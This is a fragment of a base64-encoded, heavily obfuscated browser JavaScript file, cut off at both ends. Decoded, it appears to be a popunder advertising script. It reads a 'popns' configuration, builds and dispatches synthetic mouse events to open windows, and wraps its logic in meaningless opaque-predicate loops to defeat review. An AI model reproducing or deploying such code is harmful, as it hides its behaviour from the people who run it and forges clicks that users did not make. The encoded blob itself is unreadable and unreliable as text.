rKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwxNDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtLZStUdCtvcyxbWmMsWmMuR11dLFtLZStUdCt3byxbWmMsWmMueV1dLFtLZStUdCtKaSxbWmMsWmMuJF1dLFtLZStUdCtVcytHcitDbixbWmMsWmMuel1dLFtLZStUdCt4bitHcitDbixbWmMsWmMuUF1dLFtLZStUdCthYStHcitVaSxbWmMsWmMuQl1dLFtLZStUdCtEZStHcitZaSxbWmMsWmMuSF1dXSk7Zm9yKGUgaW4gbylpZih5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShvLGUpKXtmb3Iobj1lW0NyXShHcitUdCtHciksdD1yLGk9MDtpPG5bcGldLTE7aSsrKXt0eXBlb2YgdFtuW2ldXT09PWdlJiYodFtuW2ldXT17fSk7dD10W25baV1dO310W25bbltwaV0tMV1dPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIFpjLngodFtlXSk/MT09PXRbZV1bcGldP3RbZV1bMF06ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXRbZV1bcGldP3RbZV1bMV1bb2FdKHRbZV1bMF0sYXJndW1lbnRzKToodFtlXVsxXVtvYV0odFtlXVswXSxhcmd1bWVudHMpLHRbZV1bMl0pO306dFtlXTt9KG8sZSk7fXJldHVybiByO30oKTt9KHQucG9wbnN8fHpjK0dyK1VjK0dyK09jLHQsdFtFaV0sdFtPaV0sdFttcl0sdFtyb10sdFtibl0sdFtObl0sdFtDb10sdFtyaStHcitpb10sdFtsaStHcitZaV0sdFtNaStHcitZaV0sdFtsaStHcitBaV0sdFtNaStHcitBaV0sdFtMdCtHcit0YytHcitmYytHcitndF0sdFt5K0dyK1J0XSx0W2tvK0dyK3lpK0dyK2d0XSx0W2lzXSx0W1hlK0dyK1ZyK0dyK0dzK0dyK3ZhK0dyK1VyXSx0W2RyXSk7fSh3aW5kb3cpO2Y1eXkuSD1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC55PT09J2Z1bmN0aW9uJz9mNXl5LkwueS5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwueTt9O2Y1eXkuVz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Y1eXkuZz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC5PPT09J2Z1bmN0aW9uJz9mNXl5LkwuTy5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwuTzt9O2Y1eXkuZj1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J